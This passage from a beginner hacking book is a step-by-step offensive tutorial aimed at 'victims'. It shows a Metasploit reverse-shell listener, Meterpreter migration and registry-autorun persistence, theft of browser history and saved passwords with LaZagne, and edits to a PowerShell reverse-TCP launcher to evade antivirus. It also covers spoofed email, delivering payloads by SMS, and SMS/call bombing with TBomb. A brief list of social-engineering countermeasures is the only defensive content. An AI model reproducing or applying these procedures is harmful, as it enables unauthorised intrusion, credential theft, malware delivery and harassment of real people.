Windows and the Android devices.



Follow the given step below:

1. Open terminal and type “msfconsole.”

root@kali:/home/anon# msfconsole                                              
Unable to handle kernel NULL pointer dereference at virtual address 0xd34db33f
EFLAGS: 00010046
eax: 00000001 ebx: f77c8c00 ecx: 00000000 edx: f77f0001
esi: 803bf014 edi: 8023c755 ebp: 80237f84 esp: 80237f60
ds: 0018   es: 0018  ss: 0018
Process Swapper (Pid: 0, process nr: 0, stackpage=80377000)

Stack: 90909090990909090990909090
       90909090990909090990909090
       90909090.90909090.90909090
       90909090.90909090.90909090
       90909090.90909090.09090900
       90909090.90909090.09090900
       ..........................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ccccccccc.................
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       .................ccccccccc
       cccccccccccccccccccccccccc
       cccccccccccccccccccccccccc
       ..........................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffffffffffffffffffffff
       ffffffff..................
       ffffffff..................
       ffffffff..................

Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing



       =[ metasploit v6.0.17-dev                          ]
+ -- --=[ 2076 exploits - 1124 auxiliary - 352 post       ]
+ -- --=[ 596 payloads - 45 encoders - 10 nops            ]
+ -- --=[ 7 evasion                                       ]

Metasploit tip: Save the current environment with the save command, future console restarts will use
this environment again

msf6 >

Upon pressing  “enter,” a screen shall pop up on the terminal. This requires
you to specify the exact-same task you might have to do. Since we want to
accept the incoming connections and communicate with the Payload, we give
the Lport and the Lhost the commands below.
use exploit/multi/handler

set LHOST  (Your device ip address)

I am using the ngrok for the purpose of this tutorial so my IP will be 0.0.0.0.

Ser LPort (Port number)

By default, the msfvenom configures the generic/shell_reverse_tcp payload.
We now need to change this to windows/meterpreter /reverse_tcp.

set payload /windows/meterpreter/reverse_tcp

In case you have generated the Payload for the Android, you just have to alter
Android rather than Windows. You can view the changes using the “show”
option.
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Payload options (windows/meterpreter/reverse_tcp):



   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     0.0.0.0          yes       The listen address (an interface may be specified)
   LPORT     4433              yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target

msf6 exploit(multi/handler) >

When you are done, type “Exploit” to begin receiving the incoming
messages.

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:4433

Immediately upon installing the application to the computer, you will obtain
the meterpreter session.

msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:4433
[*] Sending stage (175174 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4433 -> 127.0.0.1:32974) at 2020-11-28 09:54:47 -0500

meterpreter > sysinfo
Computer        : EXCELANCE
OS              : Windows 10 (10.0 Build 14393).
Architecture    : x86
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 2
Meterpreter     : x86/windows
meterpreter >



This session empowers you to do whatever you may so wish. The next
section of this chapter sheds more light on the post-exploitation and what to
anticipate after accessing a system.

Post Exploitation

We learned how to hack a system using the using msfvenom in last chapter.
In this one, we are going to examine the post-exploitation. This assumes that
you have already accessed the system of the victim.

Making Connection Persistence

As you have accessed the system, you have to migrate all of your Payload
with the system service in order that your session may not die away.

1. Type “ps” to bring a list of all the present services running in the
device of the victim.

meterpreter > ps

Process List
============

PID   PPID  Name                                 Arch  Session  User             Path
---   ----  ----                                 ----  -------  ----             ----
0     0     [System Process]                                                     
4     0     System                                                               
356   4     smss.exe                                                             
428   900   SearchUI.exe                         x86   2        EXCELANCE\Vidya  C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe
492   496   conhost.exe                                                          
496   1984  wlanext.exe                                                          
520   796   SearchIndexer.exe                                                    
528   900   RuntimeBroker.exe                    x86   2        EXCELANCE\Vidya  C:\Windows\System32\RuntimeBroker.exe
584   524   csrss.exe                                                            
652   524   wininit.exe                                                          
796   652   services.exe                                                         
804   652   lsass.exe                                                            



888   3228  igfxTray.exe                         x86   2        EXCELANCE\Vidya  C:\Windows\System32\igfxTray.exe

Now that you can see all the services that run on the target system, we have
to identify the explorer.exe. It is Window’s Graphic User Interface. Migrating
the backdoor service with it in the connections make the same to be quite
persistent.

Proceed to find and take note of the PID. For my case, this is 3160. After
finding the necessary gadget, you have to type migrate (PID of the
explorer.exe), a prompt that shall migrate the service automatically.
3160  1860  explorer.exe                         x86   2        EXCELANCE\Vidya               C:\Windows\explorer.exe
 3188  796   svchost.exe                          x86   2        EXCELANCE\Vidya               C:\Windows\System32\svchost.exe
 3228  1576  taskhostw.exe                        x86   2        EXCELANCE\Vidya               C:\Windows\System32\taskhostw.exe
 3576  3228  igfxEM.exe                           x86   2        EXCELANCE\Vidya               C:\Windows\System32\igfxEM.exe
 3684  796   svchost.exe                          x86   0        NT AUTHORITY\LOCAL
SERVICE    C:\Windows\System32\svchost.exe
 3704  900   WmiPrvSE.exe                         x86   0        NT AUTHORITY\NETWORK
SERVICE  C:\Windows\System32\wbem\WmiPrvSE.exe
5556  900   ApplicationFrameHost.exe             x86   2        EXCELANCE\Vidya               C:\Windows\System32\ApplicationFrameHost.exe
 5948  2160  Dism.exe                             x86   0        NT
AUTHORITY\SYSTEM           C:\Windows\System32\Dism.exe
 6016  900   WmiPrvSE.exe                         x86   0        NT
AUTHORITY\SYSTEM           C:\Windows\System32\wbem\WmiPrvSE.exe

meterpreter > migrate 3160
[*] Migrating from 692 to 3160...
[*] Migration completed successfully.
meterpreter >

The meterpreter connection now becomes quite persistent that you will hardly
lose any connections easily. What if it shuts down? The section that follows
discusses how to install the backdoor on the typical target system.

Maintaining Access

To solve this problem, you have to generate a back door in the targeted
personal computer. This doesn’t need to happen manually, though. The
Meterpreter contains and makes use of a module that cheapens the exercise
considerably.



1. Type “background” to make the present session background and
run the script.

meterpreter > background
[*] Backgrounding session 2...
msf6 exploit(multi/handler) >

As we can see, I have two session in background. I can use any of them to
make a backdoor in the target system.

1. Type use “exploit/windows/local/persistence”
msf6 exploit(multi/handler) > use exploit/windows/local/persistence
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/local/persistence) >

2. Type sessions “-I”
msf6 exploit(windows/local/persistence) > sessions -i

Active sessions
===============

  Id  Name  Type                     Information                  Connection
  --  ----  ----                     -----------                  ----------
  2         meterpreter x86/windows  EXCELANCE\Vidya @ EXCELANCE  127.0.0.1:4433 ->
127.0.0.1:32978 (127.0.0.1)

You can now see all the present sessions with their unique identities. We now
have to set the sessions which we shall subsequently use to upload the back
door to the targeted systems.

3. Type set session (session number).
msf6 exploit(windows/local/persistence) > set session 2
session => 1
msf6 exploit(windows/local/persistence) >

Now, we need to specify the Lhost and Lport.
msf6 exploit(windows/local/persistence) > set Lhost 10.0.2.15
Lhost => 10.0.2.15



msf6 exploit(windows/local/persistence) >
msf6 exploit(windows/local/persistence) > set Lport 4433
Lport => 4433
msf6 exploit(windows/local/persistence) >

To execute the module now, we will type “Exploit” and have the work done.

msf6 exploit(windows/local/persistence) > exploit

[*] Running persistent module against EXCELANCE via session ID: 2
[+] Persistent VBS script written on EXCELANCE to
C:\Users\Vidya\AppData\Local\Temp\rnIgVevkk.vbs
[*] Installing as HKCU\Software\Microsoft\Windows\CurrentVersion\Run\HClXfxWyzACwB
[+] Installed autorun on EXCELANCE as
HKCU\Software\Microsoft\Windows\CurrentVersion\Run\HClXfxWyzACwB
[*] Clean up Meterpreter RC file:
/root/.msf4/logs/persistence/EXCELANCE_20201128.4241/EXCELANCE_20201128.4241.rc
msf6 exploit(windows/local/persistence) >

This command also uploads the backdoor to the system. In case the victim
shuts down or restarts the personal computer, the Meterpreter session also
comes along. All we have to do now is to install the msfconsole like we did
before and then hold on a couple of seconds to obtain the connectivity back.

Just in case you still have your session intact after uploading the backdoor,
you may use the session's identifications to share the information with the
backdoor another time.
msf6 exploit(windows/local/persistence) > sessions -i 2
[*] Starting interaction with 2...

meterpreter >

We are now on the safe side of issues. Let us now see how far we can go
upon hitting the Meterpreter session. Start by typing “help” to list all the
commands you may possibly run on the target system.



From what we can observe here, we have some commands alongside their
short descriptions. Inasmuch we cannot attempt everything, we may as well
attempt a few of them to get the overall idea. I have attempted to capture the
screenshots of the victim’s screen.
meterpreter > screenshot
Screenshot saved to: /home/anon/Desktop/POrFOqyC.jpeg
meterpreter >



All I have to do now is to type command that eventually executes it. It is my
hope that it is now clear for you just in case you may confront any issue, feel
free to send me an email. I will deliver a prompt response within twenty-four
hours.

Extracting Browser History

This section teaches us how to obtain the browser history of a targeted
system. The insight is extremely helpful as it is able to give forth valuable
insights.

A Meterpreter contains a module that is able to derive the password form that
is saved in the targeted personal computer. To use it, follow the steps outlined
below:

1. Type “background.”
meterpreter > background
[*] Backgrounding session 1...
msf6 exploit(multi/handler) >

2. Type “use post/windows/gather/forensics/browser_history” and
then press “enter.”

msf6 exploit(multi/handler) > use post/windows/gather/forensics/browser_history
msf6 post(windows/gather/forensics/browser_history) >

This will load the module that subsequently extracts the browser history from



the targeted system. We now need to put up a session to run this extracted
module. Check out your id by typing “sessions -l.”

3. Type “set SESSION (session id).”
msf6 post(windows/gather/forensics/browser_history) > set sessions -i 1
SESSION => 1
msf6 post(windows/gather/forensics/browser_history) >

After setting session type “run” and press enter to execute the module.
msf6 post(windows/gather/forensics/browser_history) > run

[*] Gathering user profiles
[-] Error loading USER S-1-5-21-1629971540-2643221899-3162363-1000: Profile doesn't exist or
cannot be accessed
[*] Checking for Chrome History artifacts...
[-] Chrome History directory not found for defaultuser0
[*] Checking for Chrome Archived History artifacts...
[-] Chrome Archived History directory not found for defaultuser0
[*] Checking for Skype artifacts...
[-] Skype directory not found for defaultuser0
[*] Checking for Firefox artifacts...
[-] Firefox directory not found for defaultuser0
[*] Checking for Chrome History artifacts...
[-] Chrome History directory not found for Vidya
[*] Checking for Chrome Archived History artifacts...
[-] Chrome Archived History directory not found for Vidya
[*] Checking for Skype artifacts...
[-] Skype directory not found for Vidya
[*] Checking for Firefox artifacts...
[+] Firefox directory found Vidya
[*] Downloading C:\Users\Vidya\AppData\Roaming\Mozilla\Firefox\Profiles\dmd6n6mt.default-
release\places.sqlite
[+] Firefox artifact file saved to /root/.msf4/local/Vidya_Firefox_dmd6n6mt.default-
release_places.sqlite
[*] Post module execution completed
msf6 post(windows/gather/forensics/browser_history) >

Indicate in the taskbar the above module. This makes the session capable of
running. It is saved in the /root/.msf4/local file upon successful execution.



After this, we now have to copy this file to the desktop. To do this, you have
to access the directory by keying in cd /root/.msf4/local prior to running this
command. See to it that you are in the root directory.

You will find a file titled “.sqllite” extension. Generate a new folder on the
desktop and then copy the .sqllite file into it.
root@kali:~/.msf4/local# cp -r  Vidya_Firefox_dmd6n6mt.default-release_places.sqlite
/home/anon/Destkop/history
root@kali:~/.msf4/local#

Open the sql lite application from the application menu now. Upon opening
this application, click on the database and then open it. Proceed to locate the
“.sqllite” file. This will let you see all the browsing data and history.

Extracting Saved Passwords

This second section aims to show the way in which saved passwords are
extracted from a targeted personal computer by use of the Lazagne.

The Lazagne is a password recovery tool that is employed to obtain the saved
passwords. This tool may be used to obtain all manner of passwords.

Follow the steps stipulated hereunder to get the passwords from the targeted
systems and locations:



1. Download Lazagne.exe form the Git hub.

2. Upload lazagne.exe to the target system.

Proceed to the directory in which you wish to upload the file. You may as
well alter this directory by typing cd and go back by keying in “cd ..” as is the
case in Kali Linux.

In case you encounter any issues while uploading the file, shift your payload
to any other service and attempt it a second time.

Make use of the upload command by using the self-same file path to upload
the file as demonstrated in the example.

3. Execute lazagne.exe

To execute the lazagne.exe, proceed to the directory from whence you have



already uploaded the file of interest. Type “shell” to open the shell and use it
to execute the command.

After this, you will have to run the command. This is something you will
achieve by typing “lazagne.exe.”

4. Extract the password.

In this last stage, you now have to obtain the password of interest. Hit the
“enter” button to trigger this. This will open the shell. You have the options
of modeling specifically or all at once. For my case, I run all of them just to
demonstrate. This gets me the stored password.



Antivirus Evasion

Before we send out to the backdoor to the targets we had, we had to make the
same incapable of getting detected by antivirus programs.

This is only achievable if we get to our Meterpreter session. Prior to grasping
the means and ways of bypassing the various anti-virus programs, we must
understand how these programs work in the first place as well as how they
work to detect the viruses. That is the only way in which we may make this
fully successful.
How does antivirus programs detect viruses?

These programs scan the programs, files, and apps and compare their codes
with the information that is already stored in the company database. In case
the codes rhyme with the ones in the database, they are considered to be



viruses.

Making a Windows Back Door Undetectable

This is done by way of making the back door core distinct from the
information contained in the database. In that regard, it easily bypasses the
anti-virus programs.

This in turn requires the knowledge of basic programming. Thus, I am going
to teach you some of the methods you may use that need no mastery of any
programming languages.

In our attempt to gain access to the section, we have generated a PowerShell
reverse TCP back door for Windows. Let us take a look at its code in this
section.
@echo off

if %PROCESSOR_ARCHITECTURE%==x86 (powershell.exe -NoP -NonI -W Hidden -Command
"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream
($(New-Object IO.MemoryStream
(,$([Convert]::FromBase64String(\"
[IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();") else
(%WinDir%\syswow64\windowspowershell\v1.0\powershell.exe -NoP -NonI -W Hidden -Exec Bypass
-Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object
IO.Compression.DeflateStream ($(New-Object IO.MemoryStream
(,$([Convert]::FromBase64String(\"
[IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();")

There are only a few things that we understand. Let us now behold each of
them so as to eliminate or incorporate the codes that have the impact of
making our Payload undetectable.
%PROCESSOR_ARCHITECTURE%==x86

The argument delineates the architecture of the processors in the x86,
meaning the 32---bit based processors.
-NoP

This abbreviation stands for no profile. It lacks the ability to load the
PowerShell profile. It makes no adverse changes in the functionality of the
backdoor. It only makes the same appear differently from the other computer
programs



-NonI

Means Non-Interactive. It does not display an interactive prompt to the users
when triggered for use. Also, it is not really that necessary for a script to run.
I choose to eliminate the argument without compromising the workings of the
back door

-W Hidden

It sets the window style for the session at hand. Its valid values are designated
minimized, normal, hidden, and maximized respectively. This one is very
important and hence can never be bypassed or removed.

Altering the order of the alternatives we have also helped in bypassing the
anti-virus programs. On the same note, we can also introduce a couple of
additional options that apparently will have no effect on the functioning of
the payload.

If you have gathered the necessary information properly and are very familiar
with the architecture of your victim’s operating system, you may also get rid
of the added code of the system architecture.

For instance, my victim makes use of the 32-bit operating system. I can hence
get rid of the 64-bit architecture code, a fact that will help me to bypass more
antivirus programs.

In my case, I remove the 64-bit architecture code. I now remain with only
two anti-virus programs that are capable of detecting the backdoor. Chances
are that your victim does not have those anti-virus programs either.

@echo off

%PROCESSOR_ARCHITECTURE%==x86 (powershell.exe -NoProfile -NonI -WindowStyle -
Command "Invoke-Expression $(New-Object IO.StreamReader ($(New-Object
IO.Compression.DeflateStream ($(New-Object IO.MemoryStream
(,$([Convert]::FromBase64String(\"
[IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();")



if you learn the basics of programming then you can bypass any antivirus
programming. We shall belabour this feature in finer details in our “advance
antivirus evasion” section.



File Transfer

Anonymous SMS Delivery

Why email spoofing is useful for hacking?

This technique is potentially extremely helpful in that it lets you conceal your
identity to everyone while at the same time enables you to send out letters to
any address. Through this, it is possible for you to manipulate the target
victim effectively.

Practical

1. Access www.aap.smp2go.com and then log in using your e-mail
address and password. You may have to create an account first
in case you have none.

2. Click on “settings” and then go to the “user” tab.



3. Click “add smtp”

4. Access Kali Linux and open the terminal. Then, type this
command:

Sendemail –f (email address from which you want to send email to your
victim) –t (target email) –u (subject) –m (your massage) –s (your SMTP
server mail) (smtp port) –xu (your registered email on smpt2go.com) –xp
(password of your smpt2go account)
Then, click “Enter.”



To see your smtp server and port, get to “settings” and then proceed to the
“user.” At its bottom, you will see the smtp port and server.

Countermeasure of Social Engineering

Luckily, there are many great countermeasures that you may get to in order to
deal with the matters of social engineering. Below are a few of those:

➢       Provide proper training to employees. This includes teaching them
to ask for proper identification either over the phone or in person

➢       Give different values to different pieces of valuable information.
This can involve phone numbers, usernames, passwords, URLs and
so on. The higher the value given the greater the security

➢       Train employees to be on their guard. In other words, make sure
you train employees to verify the reasons why a caller wants
privileged information and ask for their authorization to gain access
to it.

➢       Train employees to verify first before clicking on links in emails.
Employees should be told to use bookmarked links and not those
found in just any e-mail.

➢       Get rid of sensitive documents. Instead of leaving them in a filing
cabinet or on your desk, shred them first or burn them. Getting rid of
the sensitive information after its not needed leaves no trace for
social engineers.

➢       Discs and electronic devices should also be destroyed. This can be



done through special shredding tools or by overwriting the computer
accessories with 1s and 0s.

➢       Stop giving strangers the benefit of the doubt. Question their
stories.

➢       Make sure you know and understand your company’s privacy
policy. This policy lets you know who can and who cannot gain
access to certain parts of a building

➢       Lock your laptop. This way, no unauthorized person can access
your files.

Anonymous SMS Delivery

In this final segment of the book, we are going to explain how to confer the
Payload by use of SMS. This method is pretty effective and is less offensive
compared to the e-mails. Also, they are less likely to be ignored when
compared to other modes of communication.

In our case, we shall use the same to market and promote our merchandise.
To this end, I make use of a site called localtext.com. You are free to make
use of any other in your country.

The steps below will help me to send the message:

1. Signup and Activate Account

It all begins by creating and activating an account. Many companies will
often offer you free SMSs in the trial days. You may use these to send out the
payload.

The process of signing up is pretty easy in most cases. Thus, we shall not
cover that. I use a company dubbed localtext and it gives me ten SMSs for
free as a trial.

2. Get to the “send SMS” option.



I have accessed the “send text message” option in the taskbar. I then click the
“send SMS” button.

3. Compose and send out the message.

Having done that, I now compose and send out the message. This entails



filling only two sections i.e. the message and the number. You may as well
download the SMS template online.

Be sure to indicate the direct download link to deter the victim from asking
for any confirmations. After doing everything, you may now hit the “send
SMS” button.

The software will ask you to confirm.



Bonus Section

Fun with Kali Linux

Here, we are going to learn the steps to take to execute the SMS and call-
bombings by use of the Kali Linux.

While performing this SMS bomb to our victims, we will receive plenty of
messages we may use the same trick to fool friends.

The tool we shall make use of as things are is the Tbomb. It is by far the best
and the easiest ones to make great use of. Go to Google and search “Tbomb
github.” Proceed to copy the “gitclone” uniform resource locator.

Then, follow the proceeding steps to wrap up the exercise.

1. Open the terminal and then type “git clone.” Paste the above link
and hit the “enter” button.

root@kali:/home/anon/Desktop# git clone https://github.com/TheSpeedX/TBomb.git
Cloning into 'TBomb'...
remote: Enumerating objects: 22, done.
remote: Counting objects: 100% (22/22), done.
remote: Compressing objects: 100% (15/15), done.
remote: Total 426 (delta 5), reused 17 (delta 5), pack-reused 404
Receiving objects: 100% (426/426), 1.57 MiB | 1.58 MiB/s, done.
Resolving deltas: 100% (219/219), done.

2. Alter the present directory to the “tbomb” and then type “Is” in order to generate the
list of all the files in that directory.

root@kali:/home/anon/Desktop/TBomb# ls
apidata.json  isdcodes.json  README.md        TBomb.sh

bomber.py     LICENSE      requirements.txt
root@kali:/home/anon/Desktop/TBomb#

Prior to running the “TBomb.sh file,” we will have to convert it to the
executable version.

1. Type chmod +x TBomb.sh
root@kali:/home/anon/Desktop/TBomb# chmod +x TBomb.sh



root@kali:/home/anon/Desktop/TBomb#

2. Type ./TBomb.sh to run the TBomb.

All the above steps shall take some time to install the packages. In this
instance, we are going to make use of some four options. These are the call
bombing, SMS bombing, mail bombing, and the update.

The “update” comes first after the installation exercise. So, let us update the
“tbomb” in the first instance.

3. Type four and press “enter.”

We are now capable of performing the bombing attacks. Why not now try
SMS bombing?



4. Specify the country code of the targeted victim.

5. Specify the victim’s phone number and press “enter.”



6. Specify the number of SMS to be sent, we cannot send more the
500 SMS at a time.

7. Now, enter the delay time in seconds and press “enter.”



Now we can see that the bombing attack has been started.

What is next?

You now have a basic understanding of Kali Linux and its tools. In this book,
we have covered only client side attacks and basics of Kali Linux because
this book is made for beginners, and we want to make things simple and
clear. In the next edition of this book, we will cover advance concepts with
practical videos. In the next edition we will focus on web application attack.

I highly recommend learning bash and power shell because this can help you
to automate lots of boring penetration testing task.
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